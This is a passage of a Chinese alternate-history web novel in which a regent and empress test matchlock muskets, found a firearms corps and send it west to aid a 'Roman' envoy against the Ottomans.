那极致玄黑的苏锦底料在书房那明亮的烛光下,仿佛变成了一块可以孕育出无限可能的神秘画布。 而她和她身边的这个男人就是这块画布上最杰出的画师! 那只用真金线绣成的擎天巨凤,更是仿佛已经看到了大乾未来那称霸世界的辉煌景象! 凤目之中迸发出了前所未有的,充满了征服与荣耀的璀璨金芒! 那长达五丈的墨金色苏锦拖尾,从她的脚下恣意地铺陈开来。 仿佛大乾的赫赫军威在她的脚下正在向着全世界,无限地延伸! “夫君,” 她由衷地赞叹道。 “你真是上天赐给我们大乾的一块瑰宝。” “不,” 林臻却是笑着摇了摇头。 他伸出手将她揽入怀中。 用一种全世界最温柔的声音在她耳边轻声说道。 “你才是我林臻这辈子唯一的瑰宝。” 李格的效率是惊人的。 或者说在这种足以改变国运的神仙兵器面前。 任何一个有抱负的工匠都会爆发出百分之二百的潜力。 仅仅三天之后。 第一批十支完全按照林臻图纸打造的火绳枪。 便被小心翼翼地送到了京郊的皇家猎场。 林臻和慕容嫣以及一众朝廷的核心重臣。 全都亲临现场。 他们要亲眼见证这个划时代武器的第一次实弹演练。 皇家猎场一处开阔的草地上。 十名从京营十二卫中精挑细选出来的神射手。 正一脸好奇而又紧张地摆弄着手中那黑黢黢的“烧火棍”。 在他们面前百步之外。 竖着十个用最坚固的榆木打造的人形靶子。 靶子的身上还都穿着一副金狼骑兵制式的精钢铠甲。 “王爷陛下。” 李格搓着手一脸兴奋而又忐忑地走了过来。 “都准备好了。” “随时可以开始了。” “开始吧。” 林臻淡淡地点了点头。 随着他一声令下。 那十名神射手立刻按照事先演练了无数遍的流程。 开始装填火药和弹丸。 整个过程虽然有些繁琐和缓慢。 但每一个人都做得一丝不苟。 很快。 装填完毕。 十名神射手半蹲在地。 将那黑洞洞的枪口对准了百步之外的铠甲靶子。 然后点燃了手中的火绳。 “放!” 伴随着一名将官的一声令下! “砰!砰!砰!砰!砰!” 一连串震耳欲聋的巨大轰鸣声骤然响起! 一股浓烈的刺鼻的硝烟味瞬间弥漫了整个猎场! 在场的所有文武百官除了早有准备的林臻。 全都被这突如其来的巨响和浓烟给吓了一大跳! 有几个胆子小的文官甚至一屁股瘫坐在了地上。 就连慕容嫣那握着林臻扶手的手也下意识地收紧了。 她的那张绝美的俏脸上布满了难以置信的震惊! 她终于亲身体会到了。 呼韩邪信中所说的那种能发出雷鸣般巨响的恐怖武器到底有多么的可怕! 这哪里还是凡人能够拥有的力量? 这简直就是天神的雷霆之怒啊! 而当硝烟渐渐散去。 众人看清了百步之外那十个靶子的惨状时。 更是齐刷刷地倒吸了一口凉气! 只见那十个穿着坚固铁甲的靶子。 每一个的胸口都出现了一个碗口大小的狰狞破洞! 靶子后面的榆木桩子更是被直接炸得四分五裂木屑横飞! 第1164章 火枪的威力 这……这是何等恐怖的威力?! 所有人的脑子里都只剩下了一片空白。 他们无法想象。 如果刚才站在那里的不是木头靶子。 而是十个活生生的人。 那将会是怎样一副血肉模糊的人间地狱的景象! “这……这……这……” 户部尚书周兴指着远处那一片狼藉的靶场。 嘴唇哆嗦着半天都说不出一句完整的话来。 他终于明白了。 为什么王爷会说。 在这种武器面前。 再多的骑兵和步卒都只是活靶子。 这他娘的还怎么打? 这根本就不是一个维度的战争啊! “成功了!王爷!陛下!我们成功了!” 工部尚-书李格在短暂的呆滞之后。 爆发出了一阵状若疯癫的狂喜嘶吼! 他冲到林臻的面前“噗通”一声跪倒在地。 抱着林臻的大腿一把鼻涕一把泪地哭嚎道。 “王爷!您就是神!您就是我们大乾的再生父母啊!” “有了此等神物!” “我们大乾何愁天下不定啊!” 林臻看着这个已经彻底失态的老头。 也是有些哭笑不得。 他将他从地上扶了起来。 然后转过身看着同样处于巨大震撼之中的慕容嫣和文武百官。 朗声说道。 “众位爱卿都看到了吧?” “这就是火枪的威力。” “而这还只是最原始最粗糙的火绳枪。” “在本王的脑子里还有比它更先进更强大的燧发枪甚至是连发的后膛枪!” “只要我们大乾能将这些武器大规模地装备部队。” “那这个世界上将再也没有任何敌人能阻挡我们大乾前进的步伐!” 他这番豪情万丈的话。 像一盆滚烫的热油浇在了所有人的心头火上! 瞬间点燃了他们心中那熊熊的野心之火! “王爷圣明!” “大乾万岁!” 所有文武百官全都发自肺腑地跪倒在地。 那山呼海啸般的声音响彻了整个京郊猎场! 慕容嫣也从巨大的震撼中回过神来。 她看着自己身边这个仿佛无所不能的男人。 那双美丽的凤眸之中全是化不开的骄傲和爱意。 此刻的她依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料在猎场那充满了硝烟与铁血气息的氛围之中。 非但没有显得格格不入。 反而呈现出一种与这种冰冷的大杀器相得益彰的绝对力量感! 那只用真金线绣成的擎天巨凤更是仿佛要从她的身上挣脱而出! 与那划破长空的火枪一较高下! 凤目之中迸发出了前所未有的充满了征服与霸道的炽热光芒! 那长达五丈的墨金色苏锦拖尾在猎场的狂风之中猎猎作响! 那华贵的凌乱在这一刻不再是慵懒。 而是一种要将整个世界都踏于脚下的无上威严! 她深吸一口气站了出来。 用一种属于帝王的决断声音宣布道。 “传朕旨意!” “从今日起于京营十二卫之外另设一独立兵种!” “赐名‘神机营’!” “由摄政王林臻亲任第一代神机营统领!” “专门负责火器的研发制造与训练!” “朕要在三年之内!” “为我们大乾打造出一支战无不胜攻无不克的钢铁雄师!” “神机营!” 这个充满了铁血与杀伐之气的名字。 从慕容嫣这位绝代女帝的口中说出来。 瞬间便让在场的所有人都热血沸腾! 他们知道。 一个全新的属于大乾的军事时代。 在今天由他们的陛下和王爷亲手开启了! …… 神机营的成立在整个大乾朝堂掀起了一场前所未有的巨大波澜。 所有的王公贵族勋贵子弟。 都挤破了头想把自己的子侄塞进这个由摄政王亲自统领的全新兵种里。 他们虽然还不太明白那所谓的“火枪”到底是个什么东西。 但他们都清楚地知道。 跟着摄at政王有肉吃! 这已经是整个大乾颠扑不破的真理! 林臻对于这些削尖了脑袋想来镀金的纨绔子弟。 自然是一个都看不上。 他亲自制定了一套极其严苛的神机营选拔标准。 不仅要求身体素质万里挑一。 更要求必须识文断字甚至还要懂一点基础的算术和物理。 这一下便将百分之九十九的勋贵子弟都挡在了门外。 最终。 经过层层选拔。 只有五千名来自于寒门甚至是平民家庭的优秀子弟。 有幸成为了神机营的第一批士兵。 林臻将整个神机营都安置在了京郊的一处秘密军事基地里。 然后他便开始了对这支他寄予了厚望的新式军队。 进行魔鬼般的封闭式训练。 他不仅亲自为他们编写教材讲解火枪的原理和战术。 更是将后世那套最先进的军事化管理模式。 完全照搬了过来。 队列内务纪律思想教育…… 每一项都要求做到极致的标准化和统一化! 他要将这支五千人的部队。 打造成一支绝对忠诚绝对服从拥有钢铁般意志的杀戮机器! 而慕容嫣则是在后方为他提供了最坚实的后勤保障。 钱粮物资工匠铁料…… 只要是神机营需要的。 她都会在第一时间毫无保留地调拨过去。 这对传奇的帝后夫妻。 一个主外一个主内。 再一次用他们那天衣无缝的配合。 向全世界展现了他们那牢不可破的联盟。 时间就在这样紧张而又充实的节奏中一天天地过去。 转眼。 三个月过去了。 神机营的训练初见成效。 那五千名原本还有些青涩的年轻人。 如今一个个都变得黝黑精悍。 眼神之中充满了属于军人的坚毅和自信。 他们已经可以熟练地操作手中的火绳枪。 并且能在一分钟之内完成三次有效射击! 这个速度在林臻看来虽然还很慢。 但在这个时代已经是足以让任何敌人都闻风丧胆的恐怖存在了! 而工部那边在李格那个工作狂的带领下。 更是爆发出了惊人的生产力。 他们不分昼夜地加班加点。 在短短三个月的时间里。 竟然硬生生地打造出了整整一万支全新的制式火绳枪! 和数以百万计的标准弹丸! 万事俱备只欠东风。 林臻知道。 是时候让他这支秘密打造的王牌之师。 去北方的冰冷草原上亮一亮他们的獠牙了! 然而就在他准备向慕容嫣提出御驾亲征北伐“罗刹国”的时候。 一个意想不到的“客人”却突然来到了长安。 这一日。 林臻和慕容嫣正在御花园里散步。 享受着难得的二人世界。 突然。 一名负责镇守玉门关的边关将领。 带着一队看起来风尘仆仆长相也十分奇特的金发碧眼的“胡人”。 急匆匆地求见。 “陛下王爷!” 那名将领单膝跪地神情有些激动。 “末将在玉门关外截获了一队自称是‘大秦’来的商人。” “他们说有天大的重要情报要当面禀报给陛下和王爷!” “大秦?” 林臻和慕容嫣对视了一眼。 都从对方的眼中看到了一丝困惑。 他们从未听说过这个国家的名字。 “让他们过来说话。” 林臻摆了摆手。 很快。 那队金发碧眼的“胡人”中走出了一个看起来像是首领的中年男人。 他走到林臻和慕容嫣面前。 然后用一种极其蹩脚的甚至有些滑稽的中原官话。 单膝跪地行了一个不伦不类的骑士礼。 “尊敬的东方大皇帝陛下和伟大的摄政王殿下!” “来自遥远西方的罗马帝国商人马可·波罗向您致以最崇高的敬意!” “罗马帝国?马可·波罗?” 林臻听到这两个熟悉而又陌生的名字。 瞳孔猛地一缩! 他怎么也没有想到。 他竟然会在这里遇到这个传说中的意大利旅行家! 而他口中的“大秦”竟然是那个曾经横跨欧亚非的庞大帝国! ——罗马! 此刻的慕容嫣依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料在御花园那百花盛开的美景之中显得格外的突出和高贵。 仿佛是万花丛中那唯一的一点永恒的黑。 那只用真金线绣成的擎天巨凤也仿佛对眼前这个突然冒出来的异族人充满了好奇。 凤目之中闪烁着审视和探究的光芒。 那长达五丈的墨金色苏锦拖尾随意地铺陈在柔软的草地之上。 那华贵的凌乱之中透着一股属于天朝上国的强大与自信。 第1165章 罗马帝国 “你说你来自罗马帝国?” 林臻看着眼前这个自称马可·波罗的中年男人。 眼中闪烁着玩味的光芒。 他知道历史上的罗马帝国早在数百年前就已经分裂和灭亡了。 眼前这个所谓的“罗马商人”。 要么是个骗子。 要么就是来自于那个继承了东罗马帝国衣钵的拜占庭帝国。 “是的尊敬的王爷殿下。” 马可·波罗虽然汉语说得不怎么样。 但察言观色的本事却是一流。 他能感觉到眼前这个看起来比皇帝陛下还要有权势的年轻王爷。 对自己似乎并不怎么相信。 他连忙从怀中掏出了一个用丝绸包裹得严严实实的小小金盒。 然后双手高高举起。 “这是我们伟大的罗马皇帝君士坦丁十一世陛下。” “托我转交给东方大皇帝陛下的国书!” “恳请王爷殿下和皇帝陛下过目!” 君士坦丁十一世? 林臻的眉头挑了一下。 这个名字他有点印象。 似乎是拜占庭帝国的最后一任皇帝。 也是一个以悲情和壮烈而闻名于后世的末代君主。 他从马可·波罗手中接过那个金盒。 打开一看。 里面躺着一卷用最上等的羊皮纸书写的国书。 国书之上用一种林臻看不懂的拉丁文写满了密密麻麻的文字。 而在国书的末尾。 则盖着一个极其繁复而又华丽的双头鹰印章。 林臻知道这个双头鹰徽记。 正是拜占庭帝国的皇家纹章。 看来眼前这个马可·波罗并没有说谎。 他确实是来自于那个已经日薄西山的千年帝国。 “夫君这上面写的是什么?” 慕容嫣好奇地凑了过来。 她看着那如同鬼画符一般的拉丁文。 脸上写满了困惑。 “一份求援信。” 林臻的脸上露出了一丝古怪的笑容。 他虽然看不懂拉丁文。 但凭借着他那远超常人的学习能力。 和后世那零零散散的外语知识。 他还是勉强能看懂这封国书的大概意思。 这封来自于万里之外的求援信。 内容其实很简单。 就是拜占庭帝国现在正遭到一个名为“奥斯曼土耳其”的强大敌人的疯狂进攻。 帝国的首都君士坦丁堡已经被重重围困。 眼看就要城破国亡了。 无奈之下。 他们的皇帝君士坦丁十一世只能抱着死马当活马医的心态。 派出了像马可·波罗这样的使者。 向东方这个传说中富庶而又强大的神秘古国求援。 希望能得到东方大皇帝的帮助。 哪怕只是一点点金钱上的资助。 也聊胜于无。 “奥斯曼土耳其?” 慕容嫣听着这个同样陌生的名字。 秀眉蹙得更紧了。 她感觉自己今天一天之内听到的新名词。 比她过去二十年加起来都多。 “又一个我们不知道的强大敌人吗?” “没错。” 林臻点了点头。 “而且是一个比那个‘罗刹国’还要更强大的敌人。” “在未来他们将建立起一个横跨欧亚非三大陆的庞大帝国。” “其国力之强盛版图之辽阔甚至不亚于我们鼎盛时期的大乾。” “什么?!” 慕容嫣再一次被林臻的这番话给深深地震撼了。 她无法想象。 在这个世界上除了他们大乾。 竟然还存在着如此强大的国家。 此刻的她依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,在御花园那略显凝重的气氛中,显得格外的深邃和神秘。 仿佛在默默地消化着这个来自于万里之外的惊天消息。 那只用真金线绣成的擎天巨凤也仿佛第一次遇到了能与自己分庭抗礼的强大对手。 凤目之中迸发出了,前所未有的充满了战意和审视的炽热光芒! 那长达五丈的墨金色苏锦拖尾,在草地上被微风吹得翻滚不休。 那华贵的凌乱之中透着一股棋逢对手将遇良才的兴奋和期待。 “那……那我们要帮他们吗?” 慕容嫣有些迟疑地问道。 她知道这已经不是简单的军事问题了。 这已经上升到了国际邦交和地缘政治的层面。 处理得好他们大乾,或许能在遥远的西方收获一个忠实的盟友。 处理得不好他们很可能会引火烧身,树立一个不必要的强大敌人。 “帮为什么不帮?” 林臻的嘴角却是勾起了一抹狐狸般的狡黠笑容。 “而且我们不仅要帮。” “还要大张旗鼓地帮!” “让他们欠我们一个天大的人情!” “啊?” 慕容嫣有些不解地看着他。 “夫君你……” “我的傻嫣儿” 林臻刮了一下她的鼻尖笑着说道。 “你忘了我们刚刚成立的神机营了吗?” “忘了我们那一万支崭新的火绳枪了吗?” “正愁着没地方去检验一下它们的实战效果呢。” “现在这现成的靶子不就自己送上门来了吗?” “敌人的敌人就是朋友。” “我们就借着这次‘国际人道主义援助’的机会。” “让我们神机营的将士们。” “去那遥远的君士坦丁堡。” “好好地会一会那些所谓的‘奥斯曼土耳其’的精锐大军!” “也让全世界都看一看!” “我们大乾神机营的赫赫军威!” 慕容嫣被林臻这个天马行空的想法给惊得目瞪口呆:“让神机营去君士坦丁堡?” 那可是远在万里之外的异国他乡啊! 派一支五千人的部队孤军深入。 去参加一场跟自己八竿子都打不着的战争? 这风险也太大了吧? “夫君你是不是太冒险了?” 她有些担忧地说道。 “神机营虽然装备了火枪。” “但毕竟才刚刚成立三个月。” “将士们也都是没有上过战场的新兵。” “让他们一上来就去执行如此艰难的远征任务。” “万一要是出了什么差池……” “那我们这三个月的心血可就全都白费了!” “放心吧嫣儿。” 林臻却是一脸的自信。 “不经历血与火的洗礼永远也成不了真正的精锐之师。” “温室里是长不出参天大树的。” “这次远征君士坦丁堡对他们来说既是一次严峻的考验。” “也是一次千载难逢的机遇!” “你想想” 他的眼中闪烁着智慧的光芒。 “我们把神机营派过去。” “一来可以检验我们火枪的实战性能和新战术的可行性。” “二来可以让我们的士兵在最残酷的战场上得到最宝贵的实战经验。” “三来我们卖了拜占庭帝国一个天大的人情。让他们对我们感恩戴德死心塌地。” “四来我们还能借着这次机会狠狠地敲打一下那个日益崛起的奥斯曼土耳其帝国。让他们知道我们大乾的厉害不敢再轻易向东扩张。” “最重要的一点!” 他的声音变得有些促狭。 “我们把神机营这支最烧钱的部队给派出去了。” “那他们在国外的一切吃穿用度军饷开销。” “是不是就该由那个求我们帮忙的拜占庭帝国来全权负责了?” “如此一来我们不仅白白练了一支百战精兵。” “还顺便省下了一大笔军费开支。” “这一箭双雕哦不是一箭五雕的好事。” “我们何乐而不为呢?” 慕容嫣听完林臻的这番精妙绝伦的分析。 已经彻底说不出话来了。 她只是呆呆地看着自己这位算无遗策的妖孽夫君。 心中除了无尽的崇拜便再无其他。 她发现跟这个男人比起来。 自己那点所谓的智慧和谋略。 简直就是小孩子的玩意儿。 他总是能在她看不到的地方。 看到更深更远的利益和格局。 “夫君你……” 她由衷地叹服道。 “你真是个天生的阴谋家。” “什么叫阴谋家?” 林臻不乐意了。 “我这叫深谋远虑运筹帷幄!” “是阳谋!光明正大的阳谋!” 第1166章 远赴万里之外的君士坦丁堡 他一脸得意地说道。 慕容嫣被他那得了便宜还卖乖的无赖模样给逗笑了。 她知道,自己是彻底被他说服了。 此刻的她,依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,在御花园那明媚的阳光下,仿佛变成了一张巨大的世界地图。 而她和她身边的这个男人,就是这地图之上执棋对弈的最高玩家! 那只用真金线绣成的擎天巨凤,也仿佛在为他们这惊天动地的宏伟计划,而欢欣鼓舞! 凤目之中迸发出了,前所未有的充满了智慧与豪情的璀璨光芒! 仿佛已经看到了大乾的龙旗和凤凰的图腾。 在遥远的西方大陆上高高飘扬的那一刻! 那长达五丈的墨金色苏锦拖尾,在草地上恣意地铺陈开来。 那华贵的凌乱之中,充满了一种将整个世界都当成自己棋盘的,绝对自信与霸气! “好就依你。” 慕容嫣点了点头做出了最终的决断。 “传朕旨意!” “命神机营统领摄政王林臻,即刻点起神机营五千精锐!” “即日启程!” “远赴万里之外的君士坦丁堡!” “增援我大乾的友邦,罗马帝国!” “另外,” 她顿了顿嘴角勾起了一抹与林臻如出一辙的狡黠笑容。 “告诉罗马帝国的使者。” “我大乾出兵的一切费用。” “包括将士们的军饷武器的损耗以及精神损失费……” “都由他们罗马帝国一力承担!” “而且必须用黄金来结算!” 一旁那个自称马可·波罗的中年商人。 听着这对腹黑夫妻的一唱一和。 额头上瞬间便冒出了一层细密的冷汗。 他感觉自己好像掉进了一个巨大的坑里。 而且还是他自己亲手挖的…… 远征君士坦丁堡的决定就这么在御花园里被林臻和慕容嫣轻描淡写地定了下来。 这个足以改变世界历史走向的重大决策。 在他们看来就仿佛只是决定今天晚上吃什么一样简单。 马可·波罗这位来自于罗马帝国的使者。 在得到了大乾皇帝明确的出兵答复之后。 自然是千恩万谢感激涕零。 至于那所谓的“一切费用由罗马帝国承担并且必须用黄金结算”的附加条款。 他虽然觉得有些肉疼。 但跟那即将城破国亡的巨大危机相比。 这点小小的代价又算得了什么呢? 只要能请动东方这尊强大的救兵。 别说是用黄金结算了。 就算是让他们把罗马皇宫里的金马桶都给搬走。 他也认了! 于是。 一场史无前例的跨越亚欧大陆的万里大远征。 便在所有人都意想不到的情况下,轰轰烈烈地拉开了序幕。 林臻作为神机营的最高统帅。 自然是当仁不让的远征军主帅。 他虽然嘴上说得轻松。 但心里却比谁都清楚。 这次远征所面临的困难和挑战,到底有多么的巨大。 万里之遥的漫长补给线。 完全陌生的地理和气候环境。 语言不通的异国盟友。 以及那个同样装备了大量火器的强大敌人——奥斯曼土耳其。 这其中任何一个环节出了问题。 都足以让他这支五千人的孤军,陷入万劫不复的绝境! 所以在出征前的这几天里。 他几乎是把自己关在了神机营的秘密基地里。 不分昼夜地进行着最后的战前准备。 他将神机营五千名士兵分成了五个千人营。 每个营都配备了最精良的火绳枪和充足的弹药。 并且他还专门成立了一支,由工部最顶尖的工匠组成的随军维修队。 以保证在战场上出现损坏的火枪能得到及时的维修和更换。 除此之外。 他还破天荒地在军中设立了一个全新的部门。 ——参谋部。 他从京营十二卫中挑选了几十名最聪明最机灵,并且精通地理算术,和多国语言的年轻军官。 组成了大乾历史上第一个真正意义上的智囊团。 这个参谋部不负责具体的冲锋陷阵。 他们唯一的任务就是跟在林臻的身边。 为他收集情报,分析敌情,制定作战计划,和处理一切与当地盟友的沟通和协调工作。 可以说。 为了这次远征。 林臻是将他脑子里所有来自于后世的先进军事理念。 全都毫无保留地拿了出来。 他要将他这支神机营。 打造成一支超越这个时代数百年的无敌之师! 而慕容嫣也同样在为她心爱的男人即将到来的远征。 做着最后的准备。 她知道自己不能陪着他一起去。 她是大乾的皇帝。 她必须留下来坐镇后方。 为他守好这个庞大的帝国。 但是她的心却早已随着他飞向了那遥远的西方。 这些天她几乎每天都待在栖凤阁里。 亲手为林臻收拾着他远征的行囊。 从换洗的衣物到日常的药品。 从他爱吃的肉干到他惯用的茶具。 每一件小事她都亲力亲??为。 生怕有一丝一毫的疏漏。 这一日深夜。 栖凤阁内依旧灯火通明。 慕容嫣正坐在灯下。 为林臻缝制着一件贴身的软甲。 这件软甲是用天山雪蚕丝混合着金丝和银线织就而成。 轻薄柔软却又坚韧无比。 足以抵挡寻常刀剑的劈砍。 是她能为她心爱的男人做的最后一道防护。 此刻的她依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料在深夜那跳跃的烛光下显得格外的安静和温柔。 仿佛在默默地陪伴着它那心事重重的主人。 那只用真金线绣成的擎天巨凤也收敛了所有的光芒。 凤目低垂透着一股对即将远行的爱人的无尽的担忧和不舍。 那长达五丈的墨金色苏锦拖尾从她的脚下一直铺陈到寝殿的深处。 像一片被离愁别绪所笼罩的沉默的黑金色海洋。 那华贵的凌乱之中充满了一种,剪不断理还乱的离愁。 就在这时。 寝殿的大门被轻轻地推开了。 一身戎装满身都散发着铁血与风霜气息的林臻,从外面走了进来。 他刚刚从神机营的基地回来。 看到灯下那个还在为自己彻夜不眠的娇小身影。 他的心瞬间便被一种难以言喻的柔情和愧疚所填满了。 “嫣儿这么晚了怎么还不睡?” 林臻放轻了脚步走到她的身后。 从背后轻轻地将她拥入怀中。 慕容嫣的身体微微一颤。 她放下手中的针线转过头看着他。 那双美丽的凤眸之中盛满了化不开的担忧和不舍。 “你回来了。” 她的声音很轻很柔。 带着一丝不易察觉的沙哑。 “嗯我回来了。” 林臻将脸深深地埋在她的颈窝里。 贪婪地嗅着那能让他心安的熟悉的兰花香气。 “都准备好了吗?” 慕容嫣伸出手轻轻地抚摸着他那因为连日的劳累而略显憔悴的脸颊。 声音里充满了心疼。 “都准备好了。” 林臻点了点头。 “明日一早大军便开拔。” 慕容嫣的眼圈瞬间就红了。 虽然她早就知道这一天迟早会来。 但当离别真的就在眼前时。 她还是有些无法接受。 她真的好舍不得他走。 她真的好害怕他会遇到危险。 她真的好想好想跟他一起去。 哪怕只是跟在他的身边为他端茶倒水洗衣做饭。 她也心甘情愿。 可是她不能。 她是大乾的皇帝。 她的肩上扛着亿万子民的福祉和希望。 她不能任性。 “夫君……” 第1167章 不能像个普通的男人一样 她再也忍不住了。 将头深深地埋进他的怀里。 压抑的痛苦的呜咽声从她的喉咙里传了出来。 “你……你一定要答应我。” “一定要平安地回来。” “我和我们未来的孩子都在家里等你。” 林臻的心像是被一只无形的大手狠狠地揪了一下。 疼得他快要无法呼吸。 他知道他这一走。 最短也要一年半载。 最长甚至可能是数年之久。 让她一个弱女子独自一人支撑着这么一个庞大的帝国。 还要为他担惊受怕彻夜难眠。 他真的好恨自己! 恨自己为什么不能像个普通的男人一样。 每天陪在自己心爱的女人身边。 陪着她看日出日落云卷云舒。 而不是一次又一次地为了那些所谓的国之大者。 将她独自一人留在这冰冷的深宫之中。 “我答应你。” 他紧紧地抱着她。 仿佛要将她揉进自己的骨血里。 声音沙哑得不成样子。 “我发誓。” “我一定会平安地回来。” “一定会回来看你和我们的孩子。” “等我打跑了那些狗娘养的‘罗刹鬼’和‘土耳其’。” “等我为我们大乾打下一个万世不移的太平基业。” “我就再也不走了。” “我就天天陪着你。” “陪你去江南看小桥流水。” “陪你去东海看潮起潮落。” “陪你走遍这大好河山的每一个角落。” “好不好?” “嗯……” 慕容嫣在他的怀里重重地点了点头。 眼泪却流得更凶了。 …… 这一夜。 注定又是一个不眠之夜。 两人没有再做那些羞人的事。 他们只是静静地相拥着躺在床上。 说了很多很多的体己话。 从他们第一次见面时的相互厌恶。 到后来在漠北的生死与共。 再到江南的并肩作战。 和如今的相濡以沫。 他们仿佛要把这辈子所有的话都在今夜说完。 因为他们谁也不知道。 下一次能这样安安静静地躺在一起说话。 又会是何年何月。 窗外月凉如水。 殿内烛光摇曳。 慕容嫣依旧穿着那身作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料在这充满了离愁别绪的氛围之中。 仿佛变成了一片深不见底的黑色旋涡。 要将这对即将天各一方的爱人都吸入其中。 那只用真金线绣成的擎天巨凤也仿佛感受到了主人那无尽的悲伤。 凤目之中噙满了晶莹的泪光。 那长达五丈的墨金色苏锦拖尾从床沿一直铺陈到冰冷的金砖地面之上。 像一条无法逾越的黑色天河。 将这短暂的温存与那未知的未来彻底隔绝开来。 那华贵的凌乱之中充满了一种令人心碎的绝望。 天快亮了。 林臻知道自己该走了。 他低头看着怀中那个已经哭得睡着了的心爱之人。 脸上露出了一个比哭还难看的笑容。 他小心翼翼地在她的额头上印下了一个深深的吻。 然后又从怀中掏出了那枚他亲手为她雕刻的桃木凤凰簪。 轻轻地放在了她的枕边。 “嫣儿等我回来。” 说完他便毅然决然地转过身。 大步向着殿外走去。 没有一丝回头。 因为他怕。 他怕自己一回头。 就再也舍不得走了。 ...... 当清晨的第一缕阳光照进栖凤阁时。 慕容嫣从睡梦中悠悠醒来。 她下意识地伸出手往身边摸去。 却只摸到了一片冰冷的空虚。 她的心猛地一沉! 她霍然睁开眼睛! 只见身边早已空无一人。 只有那枚她再熟悉不过的桃木凤凰簪。 正静静地躺在她的枕边。 他走了。 他终究还是走了。 这个念头像一盆冰冷刺骨的雪水。 从她的头顶一直浇到了她的脚底。 让她浑身冰冷如坠冰窟。 眼泪再一次不争气地决堤而下。 她拿起那枚还残留着他的体温的木簪。 紧紧地攥在手心。 仿佛这样就能留住他最后的一丝气息。 她将脸深深地埋在那还残留着他的味道的枕头里。 放声大哭。 哭得像一个被全世界都抛弃了的孩子。 …… 与此同时。 长安城外十里长亭。 神机营五千名将士早已整装待发。 他们一个个身穿崭新的黑色军服。 背着黑洞洞的火绳枪。 腰间挎着锋利的制式军刀。 昂首挺胸肃然而立。 浑身散发着一股冰冷的肃杀之气。 林臻一身玄色麒麟帅铠。 骑在那匹神骏非凡的照夜玉狮子之上。 面无表情地看着前来为他送行的文武百官。 他的身后是那迎风招展的“神机营”帅旗。 和那代表着他摄政王身份的墨麒麟王旗。 “王爷时辰不早了。” 新任的兵部尚书岳飞走上前躬身行礼道。 “大军该开拔了。” “嗯。” 林臻淡淡地应了一声。 他的目光最后深深地望了一眼身后那座雄伟的长安城。 和那座他魂牵梦萦的皇宫。 仿佛要将那深宫之中他心爱的人儿的模样。 深深地刻在自己的脑海里。 许久。 他才缓缓地收回目光。 眼中那仅存的一丝柔情和不舍瞬间便被冰冷的决绝所取代。 他猛地抽出腰间的佩剑。 剑指苍天! 用一种足以让天地都为之变色的声音怒吼道。 “神机营!” “出发!” “吼!吼!吼!” 五千名神机营将士齐声怒吼! 那山呼海啸般的声音直冲云霄! 震得整个十里长亭都仿佛在微微颤抖! 随即。 这支承载着大乾未来和希望的钢铁雄师。 便在林臻的带领下。 迈着整齐划一的铿锵步伐。 头也不回地向着那未知的遥远的西方进发! 一场注定要载入史册的万里大远征。 就此拉开了它波澜壮阔的序幕! …… 而就在林臻率领着神机营踏上漫漫征途的同时。 远在数万里之外的漠北草原上。 一场同样关乎生死的血腥厮杀也正在激烈地进行着。 安北王呼韩邪正率领着他麾下最精锐的五万草原联军。 在一座名为“鹰嘴崖”的险峻山谷里。 与那突然冒出来的“罗刹国”大军进行着殊死的搏斗。 战况惨烈到了极点。 草原联军虽然占据着人数上的绝对优势。 并且个个都是悍不畏死的百战精兵。 但是在那些“罗刹鬼”手中那能喷出雷鸣和火焰的恐怖武器面前。 他们那引以为傲的骑射和刀法。 显得是那么的苍白和无力。 一排排英勇的草原勇士还没冲到敌人的面前。 便在那密集的如同雨点一般的弹丸射击下。 成片成片地倒下。 鲜血染红了整个山谷。 尸体堆积如山。 呼韩邪看着自己那些情同手足的兄弟们一个个惨死在自己的面前。 目眦欲裂心如刀绞! 他知道再这么打下去。 他们除了全军覆没。 再无第二种可能! “撤!” “撤!!” “全都给老子撤回来!!!” 他用尽全身的力气发出了一道凄厉的嘶吼! 然后他拨转马头。 看了一眼南方那遥远的天际线。 眼中闪过一丝最后的希望。 “大乾的援军!” “你们到底什么时候才能到啊?!” ...... 林臻走了。 带走了慕容嫣心中所有的阳光和温暖。 整个栖凤阁乃至整个皇宫。 都仿佛在一夜之间变得空旷而又冰冷。 慕容嫣有好几天都提不起任何精神。 她每天除了处理那些必须由她亲自批阅的紧急奏折之外。 其余的时间都只是一个人呆呆地坐在栖凤阁的窗边。 望着西方那遥远的天际线出神。 第1168章 《大乾律》 她在想他。 疯狂地想他。 她想知道他现在到哪里了。 想知道他有没有按时吃饭。 想知道他晚上睡得好不好。 想知道他有没有像她想他一样在想着她。 这种思念是一种甜蜜的折磨。 让她的心又酸又涩又充满了一种难以言喻的幸福感。 她知道自己不能再这样消沉下去了。 他在前线为这个国家浴血奋战。 她就必须在后方为他守好这个家。 她不能让他有任何的后顾之忧。 她要让他在凯旋归来的时候。 看到一个比他离开时更加繁荣更加强大的大乾! 想到这里。 慕容嫣的眼中那因为思念而变得有些黯淡的光芒。 瞬间便被一种属于帝王的坚毅和决绝所取代! 她站起身来。 走到了那堆积如山的奏折面前。 开始全身心地投入到了对这个庞大帝国的治理之中。 林臻的离开对她来说既是一种情感上的巨大考验。 也是一次政治上的千载难逢的机遇。 过去有林臻在。 很多棘手的脏活累活。 都由他一力承担了。 她只需要坐在幕后做一个点头的吉祥物。 虽然轻松。 但却也让她失去了一些作为一个帝王最宝贵的磨砺。 而现在林臻不在了。 所有的问题所有的压力。 都需要她一个人来面对和承担。 这无疑是巨大的挑战。 但同时也给了她一个真正独立执掌这个国家的机会! 她要向全天下的人证明。 她慕容嫣不仅仅是摄政王林臻的妻子。 她更是一个足以与他比肩而立的千古一帝! 从那天起。 整个大乾的朝堂都感受到了一种前所未有的变化。 他们的这位年轻的绝美女帝。 仿佛在一夜之间脱胎换骨了。 她变得比以前更加的勤政。 每天天不亮就出现在太极殿上。 直到深夜还在紫宸殿里批阅奏折。 她变得比以前更加的果决。 对于那些贪官污吏和不作为的庸官。 她毫不留情该杀的杀该贬的贬。 对于那些有才华有抱负的寒门之士。 她破格提拔委以重任。 她还亲自主持制定了大乾历史上第一部完整的法典。 《大乾律》。 将王子犯法与庶民同罪的理念。 